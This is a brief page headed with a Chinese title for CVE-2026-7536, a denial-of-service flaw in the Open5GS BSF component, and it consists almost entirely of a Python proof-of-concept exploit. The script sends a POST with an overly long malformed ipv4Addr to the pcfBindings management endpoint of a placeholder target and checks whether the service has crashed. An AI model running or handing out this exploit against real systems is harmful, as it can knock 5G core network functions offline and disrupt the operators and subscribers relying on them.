CVE-2026-7536 Open5GS BSF组件拒绝服务漏洞

import requests # Target URL (Placeholder) # The vulnerability affects the /nbsf-management/v1/pcfBindings endpoint target_url = "http://<target_ip>:<port>/nbsf-management/v1/pcfBindings" # Malicious payload for ipv4Addr # Sending a malformed or overly long IP address to trigger the DoS payload = { "ipv4Addr": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", "supi": "imsi-999990000000001" } headers = { "Content-Type": "application/json" } try: # Sending the malicious request response = requests.post(target_url, json=payload, headers=headers, timeout=5) print(f"Status Code: {response.status_code}") print("Exploit sent. Check if the Open5GS BSF service has crashed.") except requests.exceptions.RequestException as e: print(f"An error occurred: {e}")